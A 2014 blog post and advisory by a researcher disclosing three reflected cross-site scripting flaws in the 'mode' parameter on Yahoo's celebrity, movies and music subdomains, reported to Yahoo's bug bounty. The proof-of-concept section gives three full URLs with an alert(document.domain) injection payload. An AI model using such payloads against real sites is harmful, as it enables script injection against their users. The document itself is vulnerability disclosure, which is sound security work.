Yahoo Bug Bounty Program Vulnerability #4 #5 #6 Cross-site Scripting vulnerabilities

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Posted by Stefan Schurtz on Saturday, March 8. 2014

In Jan ’14 I reported three Cross-site Scripting vulnerabilities to the Yahoo Bug Bounty Program. And I know, it is really really hard, but … again … no feedback or bounty :)

Screenshots:

XSS on ‘celebrity.yahoo.com‘	XSS on ‘movies.yahoo.com‘	XSS on ‘music.yahoo.com’

Here is the advisory:

^Advisory:	Yahoo Bug Bounty Program Vulnerability #4 #5 #6 Cross-site Scripting vulnerabilities
Advisory ID:	SSCHADV2014-YahooBB-004 / YahooBB-005 / YahooBB-006
Author:	Stefan Schurtz
Affected Software:	Successfully tested on celebrity.yahoo.com, movies.yahoo.com, music.yahoo.com
Vendor URL:	http://yahoo.com/
Vendor Status:	Not tested anymore
Bounty:	nothing

======================
Vulnerability Description
======================

The ‘mode‘-Paramter on "https://celebrity.yahoo.com/", "https://movies.yahoo.com/", "https://music.yahoo.com/" is prone to a Cross-site Scripting vulnerability

======================
PoC-Exploit
======================

http://celebrity.yahoo.com/video/george-clooney-responds-tina-fey-230813957.html?m_id=&m_mode=&instance_id=&mode=multipart"-alert(document.domain)-"&__phase=pre&type=index

http://movies.yahoo.com/photos/star-wars-cast-rumors-1389647299-slideshow/?m_id=&m_mode=&instance_id=&mode=multipart"-alert(document.domain)-"&__phase=pre&type=index

http://music.yahoo.com/videos/?m_id=&m_mode=&instance_id= mode=multipart"-alert(document.domain)-"&__phase=pre&type=index

======================
Disclosure Timeline
======================

20-Jan-2014 - vendor informed by contact form (Yahoo Bug Bounty Program)

======================
Credits
======================

Vulnerabilities found and advisory written by Stefan Schurtz.

======================
References
======================

http://yahoo.com/
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-004.txt

http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-005.txt

http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-006.txt

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